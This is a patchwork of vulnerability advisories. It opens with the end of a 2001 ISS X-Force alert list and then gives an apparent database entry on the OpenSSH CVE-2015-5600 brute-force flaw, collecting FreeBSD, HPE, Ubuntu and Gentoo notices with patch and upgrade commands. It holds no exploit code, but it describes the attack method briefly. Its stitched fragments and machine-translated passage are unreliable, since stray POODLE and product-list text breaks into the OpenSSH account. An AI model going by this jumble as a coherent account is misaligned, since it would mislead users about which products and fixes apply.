Based\nBrief Description:      Linux kernel ptrace modify process\nX-Force URL:            http://xforce.iss.net/static/6080.php\n\n_____\n\nDate Reported:          2/8/01\nVulnerability:          ssh-deattack-overwrite-memory\nPlatforms Affected:     SSH\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      SSH protocol 1.5 deattack.c allows memory to be overwritten\nX-Force URL:            http://xforce.iss.net/static/6083.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          dc20ctrl-port-bo\nPlatforms Affected:     FreeBSD\nRisk Factor:            Medium\nAttack Type:            Host Based\nBrief Description:      FreeBSD dc20ctrl port buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6077.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          ja-xklock-bo\nPlatforms Affected:     FreeBSD\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      ja-xklock buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6073.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          ja-elvis-elvrec-bo\nPlatforms Affected:     FreeBSD\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      FreeBSD ja-elvis port buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6074.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          ko-helvis-elvrec-bo\nPlatforms Affected:     FreeBSD\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      FreeBSD ko-helvis port buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6075.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          serverworx-directory-traversal\nPlatforms Affected:     ServerWorx\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      ServerWorx directory traversal\nX-Force URL:            http://xforce.iss.net/static/6081.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          ntlm-ssp-elevate-privileges\nPlatforms Affected:     NTLM\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      NTLM Security Support Provider could allow elevation of privileges\nX-Force URL:            http://xforce.iss.net/static/6076.php\n\n_____\n\nDate Reported:          2/7/01\nVulnerability:          ssh-session-key-recovery\nPlatforms Affected:     SSH\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      SSH protocol 1.5 session key recovery\nX-Force URL:            http://xforce.iss.net/static/6082.php\n\n_____\n\nDate Reported:          2/6/01\nVulnerability:          aolserver-directory-traversal\nPlatforms Affected:     AOLserver\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      AOLserver directory traversal\nX-Force URL:            http://xforce.iss.net/static/6069.php\n\n_____\n\nDate Reported:          2/6/01\nVulnerability:          chilisoft-asp-elevate-privileges\nPlatforms Affected:     Chili!Soft\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      Chili!Soft ASP could allow elevated privileges\nX-Force URL:            http://xforce.iss.net/static/6072.php\n\n_____\n\nDate Reported:          2/6/01\nVulnerability:          win-udp-dos\nPlatforms Affected:     Windows\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      Windows UDP socket denial of service\nX-Force URL:            http://xforce.iss.net/static/6070.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          ssh-daemon-failed-login\nPlatforms Affected:     SSH\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      SSH daemon failed login attempts are not logged\nX-Force URL:            http://xforce.iss.net/static/6071.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          picserver-directory-traversal\nPlatforms Affected:     PicServer\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      PicServer directory traversal\nX-Force URL:            http://xforce.iss.net/static/6065.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          biblioweb-directory-traversal\nPlatforms Affected:     BiblioWeb\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      BiblioWeb Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6066.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          biblioweb-get-dos\nPlatforms Affected:     BiblioWeb\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      BiblioWeb Server GET request denial of service\nX-Force URL:            http://xforce.iss.net/static/6068.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          ibm-netcommerce-reveal-information\nPlatforms Affected:     IBM\nRisk Factor:            Medium\nAttack Type:            Network/Host Based\nBrief Description:      IBM Net.Commerce could reveal sensitive information\nX-Force URL:            http://xforce.iss.net/static/6067.php\n\n_____\n\nDate Reported:          2/5/01\nVulnerability:          win-dde-elevate-privileges\nPlatforms Affected:     Windows DDE\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      Windows DDE can allow the elevation of privileges\nX-Force URL:            http://xforce.iss.net/static/6062.php\n\n_____\n\nDate Reported:          2/4/01\nVulnerability:          hsweb-directory-browsing\nPlatforms Affected:     HSWeb\nRisk Factor:            Low\nAttack Type:            Network Based\nBrief Description:      HSWeb Web Server allows attacker to browse directories\nX-Force URL:            http://xforce.iss.net/static/6061.php\n\n_____\n\nDate Reported:          2/4/01\nVulnerability:          sedum-directory-traversal\nPlatforms Affected:     SEDUM\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      SEDUM HTTP Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6063.php\n\n_____\n\nDate Reported:          2/4/01\nVulnerability:          free-java-directory-traversal\nPlatforms Affected:     Free Java\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Free Java Web Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6064.php\n\n_____\n\nDate Reported:          2/2/01\nVulnerability:          goahead-directory-traversal\nPlatforms Affected:     GoAhead\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      GoAhead Web Server directory traversal\nX-Force URL:            http://xforce.iss.net/static/6046.php\n\n_____\n\nDate Reported:          2/2/01\nVulnerability:          gnuserv-tcp-cookie-overflow\nPlatforms Affected:     Gnuserv\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      Gnuserv TCP enabled cookie buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6056.php\n\n_____\n\nDate Reported:          2/2/01\nVulnerability:          xmail-ctrlserver-bo\nPlatforms Affected:     Xmail CTRLServer\nRisk Factor:            High\nAttack Type:            Network Based\nBrief Description:      XMail CTRLServer buffer overflow\nX-Force URL:            http://xforce.iss.net/static/6060.php\n\n_____\n\nDate Reported:          2/2/01\nVulnerability:          netscape-webpublisher-acl-permissions\nPlatforms Affected:     Netscape Web Publisher\nRisk Factor:            Medium\nAttack Type:            Network Based\nBrief Description:      Netcape Web Publisher poor ACL permissions\nX-Force URL:            http://xforce.iss.net/static/6058.php\n\n_____\n\nDate Reported:          2/1/01\nVulnerability:          cups-httpgets-dos\nPlatforms Affected:     CUPS\nRisk Factor:            High\nAttack Type:            Host Based\nBrief Description:      CUPS httpGets() function denial of service\nX-Force URL:            http://xforce.iss.net/static/6043.php\n\n_____\n\nDate Reported:          2/1/01\nVulnerability:          prospero-get-pin\nPlatforms Affected:     Prospero\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      Prospero GET request reveals PIN information\nX-Force URL:            http://xforce.iss.net/static/6044.php\n\n_____\n\nDate Reported:          2/1/01\nVulnerability:          prospero-weak-permissions\nPlatforms Affected:     Prospero\nRisk Factor:            High\nAttack Type:            Network/Host Based\nBrief Description:      Prospero uses weak permissions\nX-Force URL:            http://xforce.iss.net/static/6045.php\n\n_____\n\nRisk Factor Key:\n\n        High    Any vulnerability that provides an attacker with immediate\n                access into a machine, gains superuser access, or bypasses\n                a firewall.  Example:  A vulnerable Sendmail 8.6.5 version\n                that allows an intruder to execute commands on mail\n                server. \n        Medium  Any vulnerability that provides information that has a\n                high potential of giving system access to an intruder. \n                Example: A misconfigured TFTP or vulnerable NIS server\n                that allows an intruder to get the password file that\n                could contain an account with a guessable password. \n        Low     Any vulnerability that provides information that\n                potentially could lead to a compromise.  Example:  A\n                finger that allows an intruder to find out who is online\n                and potential accounts to attempt to crack passwords\n                via brute force methods. \n\n________\n\n\nISS is a leading global provider of security management solutions for\ne-business. By offering best-of-breed SAFEsuite(tm) security software,\ncomprehensive ePatrol(tm) monitoring services and industry-leading\nexpertise, ISS serves as its customers\u0027 trusted security provider\nprotecting digital assets and ensuring the availability, confidentiality and\nintegrity of computer systems and information critical to e-business\nsuccess. ISS\u0027 security management solutions protect more than 5,000\ncustomers including 21 of the 25 largest U.S. commercial banks, 9 of the 10\nlargest telecommunications companies and over 35 government agencies. \nFounded in 1994, ISS is headquartered in Atlanta, GA, with additional\noffices throughout North America and international operations in Asia,\nAustralia, Europe and Latin America. For more information, visit the ISS Web\nsite at www.iss.net or call 800-776-2362. \n\nCopyright (c) 2001 by Internet Security Systems, Inc. \n\nPermission is hereby granted for the redistribution of this Alert\nelectronically.  It is not to be edited in any way without express consent\nof the X-Force.  If you wish to reprint the whole or any part of this Alert\nin any other medium excluding electronic medium, please e-mail\nxforce@iss.net for permission. \n\nDisclaimer\n\nThe information within this paper may change without notice. Use of this\ninformation constitutes acceptance for use in an AS IS condition. There are\nNO warranties with regard to this information. In no event shall the author\nbe liable for any damages whatsoever arising out of or in connection with\nthe use or spread of this information. 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VAR-201508-0620

Vulnerability from variot - Updated: 2024-07-22 22:56

The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processing of keyboard-interactive devices within a single connection, which makes it easier for remote attackers to conduct brute-force attacks or cause a denial of service (CPU consumption) via a long and duplicative list in the ssh -oKbdInteractiveDevices option, as demonstrated by a modified client that provides a different password for each pam element on this list. Openssh of sshd of auth2-chall.c Inside kbdint_next_device The function is a keyboard interaction within a single connection (keyboard-interactive) The brute force is not adequately restricted for device processing. (brute-force) Attacks or service disruption (CPU Resource consumption ) There are vulnerabilities that are put into a state.By a third party ssh of -oKbdInteractiveDevices Brute force through an overly long and redundant list of options (brute-force) Attacks or service disruption (CPU Resource consumption ) There is a possibility of being put into a state. OpenSSH is prone to a security-bypass weakness. An attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. These vulnerabilities include:

The SSLv3 vulnerability known as "Padding Oracle on Downgraded Legacy Encryption" also known as "POODLE", which could be exploited remotely resulting in disclosure of information. The following firmware versions of Virtual Connect (VC) are impacted:

HPE BladeSystem c-Class Virtual Connect (VC) Firmware 4.30 through VC 4.45 HPE BladeSystem c-Class Virtual Connect (VC) Firmware 3.62 through VC 4.21

Note: Firmware versions 3.62 through 4.21 are not impacted by CVE-2016-0800, CVE-2015-3194, CVE-2014-3566, CVE-2015-0705, CVE-2016-0799, and CVE-2016-2842. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512

============================================================================= FreeBSD-SA-15:16.openssh Security Advisory The FreeBSD Project

Topic: OpenSSH multiple vulnerabilities

Category: contrib Module: openssh Announced: 2015-07-28, revised on 2015-07-30 Affects: All supported versions of FreeBSD. Corrected: 2015-07-28 19:58:44 UTC (stable/10, 10.2-PRERELEASE) 2015-07-28 19:58:44 UTC (stable/10, 10.2-BETA2-p2) 2015-07-28 19:59:04 UTC (releng/10.2, 10.2-RC1-p1) 2015-07-28 19:59:11 UTC (releng/10.1, 10.1-RELEASE-p16) 2015-07-28 19:58:54 UTC (stable/9, 9.3-STABLE) 2015-07-28 19:59:22 UTC (releng/9.3, 9.3-RELEASE-p21) 2015-07-30 10:09:07 UTC (stable/8, 8.4-STABLE) 2015-07-30 10:09:31 UTC (releng/8.4, 8.4-RELEASE-p36) CVE Name: CVE-2014-2653, CVE-2015-5600

For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit .

  1. Revision history

v1.0 2015-02-25 Initial release. v1.1 2015-07-30 Revised patch for FreeBSD 8.x to address regression when keyboard interactive authentication is used.

I. Background

OpenSSH is an implementation of the SSH protocol suite, providing an encrypted and authenticated transport for a variety of services, including remote shell access.

The security of the SSH connection relies on the server authenticating itself to the client as well as the user authenticating itself to the server. SSH servers uses host keys to verify their identity.

RFC 4255 has defined a method of verifying SSH host keys using Domain Name System Security (DNSSEC), by publishing the key fingerprint using DNS with "SSHFP" resource record. RFC 6187 has defined methods to use a signature by a trusted certification authority to bind a given public key to a given digital identity with X.509v3 certificates.

The PAM (Pluggable Authentication Modules) library provides a flexible framework for user authentication and session setup / teardown.

OpenSSH uses PAM for password authentication by default.

II. Problem Description

OpenSSH clients does not correctly verify DNS SSHFP records when a server offers a certificate. [CVE-2014-2653]

OpenSSH servers which are configured to allow password authentication using PAM (default) would allow many password attempts.

III. Impact

A malicious server may be able to force a connecting client to skip DNS SSHFP record check and require the user to perform manual host verification of the host key fingerprint. This could allow man-in-the-middle attack if the user does not carefully check the fingerprint. [CVE-2014-2653]

A remote attacker may effectively bypass MaxAuthTries settings, which would enable them to brute force passwords. [CVE-2015-5600]

IV. Workaround

Systems that do not use OpenSSH are not affected.

There is no workaround for CVE-2014-2653, but the problem only affects networks where DNSsec and SSHFP is properly configured. Users who uses SSH should always check server host key fingerprints carefully when prompted.

System administrators can set:

UsePAM no

In their /etc/ssh/sshd_config and restart sshd service to workaround the problem described as CVE-2015-5600 at expense of losing features provided by the PAM framework.

We recommend system administrators to disable password based authentication completely, and use key based authentication exclusively in their SSH server configuration, when possible. This would eliminate the possibility of being ever exposed to password brute force attack.

V. Solution

Perform one of the following:

1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date.

SSH service has to be restarted after the update. A reboot is recommended but not required.

2) To update your vulnerable system via a binary patch:

Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility:

freebsd-update fetch

freebsd-update install

SSH service has to be restarted after the update. A reboot is recommended but not required.

3) To update your vulnerable system via a source code patch:

The following patches have been verified to apply to the applicable FreeBSD release branches.

a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility.

[FreeBSD 9.3, 10.1, 10.2]

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh.patch

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh.patch.asc

gpg --verify openssh.patch.asc

[FreeBSD 8.4]

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8.patch

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8.patch.asc

gpg --verify openssh-8.patch.asc

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8-errata.patc

fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8-errata.patch.asc

gpg --verify openssh-8-errata.patch.asc

b) Apply the patch. Execute the following commands as root:

cd /usr/src

patch < /path/to/patch

c) Recompile the operating system using buildworld and installworld as described in .

Restart the SSH service, or reboot the system.

VI. Correction details

The following list contains the correction revision numbers for each affected branch.

Branch/path Revision

stable/8/ r286067 releng/8.4/ r286068 stable/9/ r285977 releng/9.3/ r285980 stable/10/ r285976 releng/10.1/ r285979 releng/10.2/ r285978

To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed:

svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base

Or visit the following URL, replacing NNNNNN with the revision number:

VII. References

The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.1.6 (FreeBSD)

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Note: the current version of the following document is available here: https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_n a-c05128992

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c05128992 Version: 1

HPSBST03599 rev.1 - HPE 3PAR OS running OpenSSH, Remote Denial of Service (DoS), Access Restriction Bypass

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2016-05-11 Last Updated: 2016-05-11

Potential Security Impact: Remote Access Restriction Bypass, Denial of Service (DoS)

Source: Hewlett Packard Enterprise, Product Security Response Team

VULNERABILITY SUMMARY A vulnerability in OpenSSH has been addressed by HPE 3PAR OS. The vulnerabily could be exploited remotely resulting in Denial of Service (DoS) or access restriction bypass.

References:

  • CVE-2015-5600
  • PSRT110106

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. HPE 3PAR OS versions 3.1.3 and later, prior to 3.2.1 MU5 and 3.2.2 MU2 running OpenSSH

BACKGROUND

CVSS 2.0 Base Metrics

Reference Base Vector Base Score CVE-2015-5600 (AV:N/AC:L/Au:N/C:P/I:N/A:C) 8.5 =========================================================== Information on CVSS is documented in HP Customer Notice: HPSN-2008-002

RESOLUTION

HPE has provided the following software updates and mitigation information to resolve the vulnerability in 3PAR OS running OpenSSH.

  • 3PAR OS 3.2.1 MU5 and 3.2.2 MU2

    • HPE recommends prior impacted versions update to 3PAR OS 3.2.1 MU5 or 3.2.2 MU2.

  • 3PAR OS 3.1.3 is also vulnerable but will not be fixed.

    Mitigation: The best protection to guard against exploitation of this vulnerability is to securely configure and operate the storage array in accordance with the HPE 3PAR Configuration Guidelines documentation. Please contact HPE Technical Support for assistance.

HISTORY Version:1 (rev.1) - 11 May 2016 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy.

Support: For issues about implementing the recommendations of this Security Bulletin, contact normal HPE Services support channel. For other issues about the content of this Security Bulletin, send e-mail to security-alert@hpe.com.

Report: To report a potential security vulnerability with any HPE supported product, send Email to: security-alert@hpe.com

Subscribe: To initiate a subscription to receive future HPE Security Bulletin alerts via Email: http://www.hpe.com/support/Subscriber_Choice

Security Bulletin Archive: A list of recently released Security Bulletins is available here: http://www.hpe.com/support/Security_Bulletin_Archive

Software Product Category: The Software Product Category is represented in the title by the two characters following HPSB.

3C = 3COM 3P = 3rd Party Software GN = HPE General Software HF = HPE Hardware and Firmware MU = Multi-Platform Software NS = NonStop Servers OV = OpenVMS PV = ProCurve ST = Storage Software UX = HP-UX

Copyright 2016 Hewlett Packard Enterprise

Hewlett Packard Enterprise shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits; damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett Packard Enterprise and the names of Hewlett Packard Enterprise products referenced herein are trademarks of Hewlett Packard Enterprise in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners. ============================================================================ Ubuntu Security Notice USN-2710-2 August 18, 2015

openssh regression

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 15.04
  • Ubuntu 14.04 LTS
  • Ubuntu 12.04 LTS

Summary:

USN-2710-1 introduced a regression in OpenSSH. The upstream fix for CVE-2015-5600 caused a regression resulting in random authentication failures in non-default configurations. This update fixes the problem.

Original advisory details:

Moritz Jodeit discovered that OpenSSH incorrectly handled usernames when using PAM authentication. If an additional vulnerability were discovered in the OpenSSH unprivileged child process, this issue could allow a remote attacker to perform user impersonation. (CVE number pending) Moritz Jodeit discovered that OpenSSH incorrectly handled context memory when using PAM authentication. If an additional vulnerability were discovered in the OpenSSH unprivileged child process, this issue could allow a remote attacker to bypass authentication or possibly execute arbitrary code. (CVE number pending) Jann Horn discovered that OpenSSH incorrectly handled time windows for X connections. (CVE-2015-5352) It was discovered that OpenSSH incorrectly handled keyboard-interactive authentication. (CVE-2015-5600)

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 15.04: openssh-server 1:6.7p1-5ubuntu1.3

Ubuntu 14.04 LTS: openssh-server 1:6.6p1-2ubuntu2.3

Ubuntu 12.04 LTS: openssh-server 1:5.9p1-5ubuntu1.7

In general, a standard system update will make all the necessary changes.

References: http://www.ubuntu.com/usn/usn-2710-2 http://www.ubuntu.com/usn/usn-2710-1 https://launchpad.net/bugs/1485719

Package Information: https://launchpad.net/ubuntu/+source/openssh/1:6.7p1-5ubuntu1.3 https://launchpad.net/ubuntu/+source/openssh/1:6.6p1-2ubuntu2.3 https://launchpad.net/ubuntu/+source/openssh/1:5.9p1-5ubuntu1.7 . VCX prior to 9.8.18 with OpenSSH or ISC BIND.

  • VCX 9.8.18 for the following Products/SKUs:

  • J9672A HP VCX V7205 Platform w/ DL360 G7 Srvr

  • J9668A HP VCX IPC V7005 Pltfrm w/ DL120 G6 Srvr
  • JC517A HP VCX V7205 Platform w/DL 360 G6 Server
  • JE355A HP VCX V6000 Branch Platform 9.0
  • JC516A HP VCX V7005 Platform w/DL 120 G6 Server
  • JC518A HP VCX Connect 200 Primry 120 G6 Server
  • J9669A HP VCX IPC V7310 Pltfrm w/ DL360 G7 Srvr
  • JE341A HP VCX Connect 100 Secondary
  • JE252A HP VCX Connect Primary MIM Module
  • JE253A HP VCX Connect Secondary MIM Module
  • JE254A HP VCX Branch MIM Module
  • JE355A HP VCX V6000 Branch Platform 9.0
  • JD028A HP MS30-40 RTR w/VCX + T1/FXO/FXS/Mod
  • JD023A HP MSR30-40 Router with VCX MIM Module
  • JD024A HP MSR30-16 RTR w/VCX Ent Br Com MIM
  • JD025A HP MSR30-16 RTR w/VCX + 4FXO/2FXS Mod
  • JD026A HP MSR30-16 RTR w/VCX + 8FXO/4FXS Mod
  • JD027A HP MSR30-16 RTR w/VCX + 8BRI/4FXS Mod
  • JD029A HP MSR30-16 RTR w/VCX + E1/4BRI/4FXS
  • JE340A HP VCX Connect 100 Pri Server 9.0
  • JE342A HP VCX Connect 100 Sec Server 9.0

HISTORY Version:1 (rev.1) - 28 January 2016 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running Hewlett Packard Enterprise (HPE) software products should be applied in accordance with the customer's patch management policy. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201512-04

                                       https://security.gentoo.org/

Severity: Normal Title: OpenSSH: Multiple vulnerabilities Date: December 20, 2015 Bugs: #553724, #555518, #557340 ID: 201512-04

Synopsis

Multiple vulnerabilities have been found in OpenSSH, the worst of which could lead to arbitrary code execution, or cause a Denial of Service condition.

Affected packages

-------------------------------------------------------------------
 Package              /     Vulnerable     /            Unaffected
-------------------------------------------------------------------

1 net-misc/openssh < 7.1_p1-r2 >= 7.1_p1-r2

Description

Multiple vulnerabilities have been discovered in OpenSSH. Please review the CVE identifiers referenced below for details.

Impact

Workaround

There is no known workaround at this time.

Resolution

All OpenSSH users should upgrade to the latest version:

# emerge --sync # emerge --ask --oneshot --verbose ">=net-misc/openssh-6.9_p1-r2"

References

[ 1 ] CVE-2015-5352 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-5352 [ 2 ] CVE-2015-5600 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-5600 [ 3 ] CVE-2015-6563 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6563 [ 4 ] CVE-2015-6564 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6564 [ 5 ] CVE-2015-6565 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2015-6565

Availability

This GLSA and any updates to it are available for viewing at the Gentoo Security Website:

https://security.gentoo.org/glsa/201512-04

Concerns?

Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org.

License

Copyright 2015 Gentoo Foundation, Inc; referenced text belongs to its owner(s).

The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5

Show details on source website
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    "data": "The kbdint_next_device function in auth2-chall.c in sshd in OpenSSH through 6.9 does not properly restrict the processing of keyboard-interactive devices within a single connection, which makes it easier for remote attackers to conduct brute-force attacks or cause a denial of service (CPU consumption) via a long and duplicative list in the ssh -oKbdInteractiveDevices option, as demonstrated by a modified client that provides a different password for each pam element on this list. Openssh of sshd of auth2-chall.c Inside kbdint_next_device The function is a keyboard interaction within a single connection (keyboard-interactive) The brute force is not adequately restricted for device processing. (brute-force) Attacks or service disruption (CPU Resource consumption ) There are vulnerabilities that are put into a state.By a third party ssh of -oKbdInteractiveDevices Brute force through an overly long and redundant list of options (brute-force) Attacks or service disruption (CPU Resource consumption ) There is a possibility of being put into a state. OpenSSH is prone to a security-bypass weakness. \nAn attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks. These vulnerabilities\ninclude:\n\nThe SSLv3 vulnerability known as \"Padding Oracle on Downgraded Legacy\nEncryption\" also known as \"POODLE\", which could be exploited remotely\nresulting in disclosure of information. \nThe following firmware versions of Virtual Connect (VC) are impacted:\n\nHPE BladeSystem c-Class Virtual Connect (VC) Firmware 4.30 through VC 4.45\nHPE BladeSystem c-Class Virtual Connect (VC) Firmware 3.62 through VC 4.21\n\nNote: Firmware versions 3.62 through 4.21 are not impacted by CVE-2016-0800,\nCVE-2015-3194, CVE-2014-3566, CVE-2015-0705, CVE-2016-0799, and\nCVE-2016-2842. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA512\n\n=============================================================================\nFreeBSD-SA-15:16.openssh                                    Security Advisory\n                                                          The FreeBSD Project\n\nTopic:          OpenSSH multiple vulnerabilities\n\nCategory:       contrib\nModule:         openssh\nAnnounced:      2015-07-28, revised on 2015-07-30\nAffects:        All supported versions of FreeBSD. \nCorrected:      2015-07-28 19:58:44 UTC (stable/10, 10.2-PRERELEASE)\n                2015-07-28 19:58:44 UTC (stable/10, 10.2-BETA2-p2)\n                2015-07-28 19:59:04 UTC (releng/10.2, 10.2-RC1-p1)\n                2015-07-28 19:59:11 UTC (releng/10.1, 10.1-RELEASE-p16)\n                2015-07-28 19:58:54 UTC (stable/9, 9.3-STABLE)\n                2015-07-28 19:59:22 UTC (releng/9.3, 9.3-RELEASE-p21)\n                2015-07-30 10:09:07 UTC (stable/8, 8.4-STABLE)\n                2015-07-30 10:09:31 UTC (releng/8.4, 8.4-RELEASE-p36)\nCVE Name:       CVE-2014-2653, CVE-2015-5600\n\nFor general information regarding FreeBSD Security Advisories,\nincluding descriptions of the fields above, security branches, and the\nfollowing sections, please visit \u003cURL:https://security.FreeBSD.org/\u003e. \n\n0.   Revision history\n\nv1.0  2015-02-25 Initial release. \nv1.1  2015-07-30 Revised patch for FreeBSD 8.x to address regression when\n                 keyboard interactive authentication is used. \n\nI.   Background\n\nOpenSSH is an implementation of the SSH protocol suite, providing an\nencrypted and authenticated transport for a variety of services,\nincluding remote shell access. \n\nThe security of the SSH connection relies on the server authenticating\nitself to the client as well as the user authenticating itself to the\nserver.  SSH servers uses host keys to verify their identity. \n\nRFC 4255 has defined a method of verifying SSH host keys using Domain\nName System Security (DNSSEC), by publishing the key fingerprint using\nDNS with \"SSHFP\" resource record.  RFC 6187 has defined methods to use\na signature by a trusted certification authority to bind a given public\nkey to a given digital identity with X.509v3 certificates. \n\nThe PAM (Pluggable Authentication Modules) library provides a flexible\nframework for user authentication and session setup / teardown. \n\nOpenSSH uses PAM for password authentication by default. \n\nII.  Problem Description\n\nOpenSSH clients does not correctly verify DNS SSHFP records when a server\noffers a certificate. [CVE-2014-2653]\n\nOpenSSH servers which are configured to allow password authentication\nusing PAM (default) would allow many password attempts. \n\nIII. Impact\n\nA malicious server may be able to force a connecting client to skip DNS\nSSHFP record check and require the user to perform manual host verification\nof the host key fingerprint.  This could allow man-in-the-middle attack\nif the user does not carefully check the fingerprint.  [CVE-2014-2653]\n\nA remote attacker may effectively bypass MaxAuthTries settings, which would\nenable them to brute force passwords. [CVE-2015-5600]\n\nIV.  Workaround\n\nSystems that do not use OpenSSH are not affected. \n\nThere is no workaround for CVE-2014-2653, but the problem only affects\nnetworks where DNSsec and SSHFP is properly configured.  Users who uses\nSSH should always check server host key fingerprints carefully when\nprompted. \n\nSystem administrators can set:\n\n\tUsePAM no\n\nIn their /etc/ssh/sshd_config and restart sshd service to workaround the\nproblem described as CVE-2015-5600 at expense of losing features provided\nby the PAM framework. \n\nWe recommend system administrators to disable password based authentication\ncompletely, and use key based authentication exclusively in their SSH server\nconfiguration, when possible.  This would eliminate the possibility of being\never exposed to password brute force attack. \n\nV.   Solution\n\nPerform one of the following:\n\n1) Upgrade your vulnerable system to a supported FreeBSD stable or\nrelease / security branch (releng) dated after the correction date. \n\nSSH service has to be restarted after the update.  A reboot is recommended\nbut not required. \n\n2) To update your vulnerable system via a binary patch:\n\nSystems running a RELEASE version of FreeBSD on the i386 or amd64\nplatforms can be updated via the freebsd-update(8) utility:\n\n# freebsd-update fetch\n# freebsd-update install\n\nSSH service has to be restarted after the update.  A reboot is recommended\nbut not required. \n\n3) To update your vulnerable system via a source code patch:\n\nThe following patches have been verified to apply to the applicable\nFreeBSD release branches. \n\na) Download the relevant patch from the location below, and verify the\ndetached PGP signature using your PGP utility. \n\n[FreeBSD 9.3, 10.1, 10.2]\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh.patch\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh.patch.asc\n# gpg --verify openssh.patch.asc\n\n[FreeBSD 8.4]\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8.patch\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8.patch.asc\n# gpg --verify openssh-8.patch.asc\n\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8-errata.patc\n# fetch https://security.FreeBSD.org/patches/SA-15:16/openssh-8-errata.patch.asc\n# gpg --verify openssh-8-errata.patch.asc\n\nb) Apply the patch.  Execute the following commands as root:\n\n# cd /usr/src\n# patch \u003c /path/to/patch\n\nc) Recompile the operating system using buildworld and installworld as\ndescribed in \u003cURL:https://www.FreeBSD.org/handbook/makeworld.html\u003e. \n\nRestart the SSH service, or reboot the system. \n\nVI.  Correction details\n\nThe following list contains the correction revision numbers for each\naffected branch. 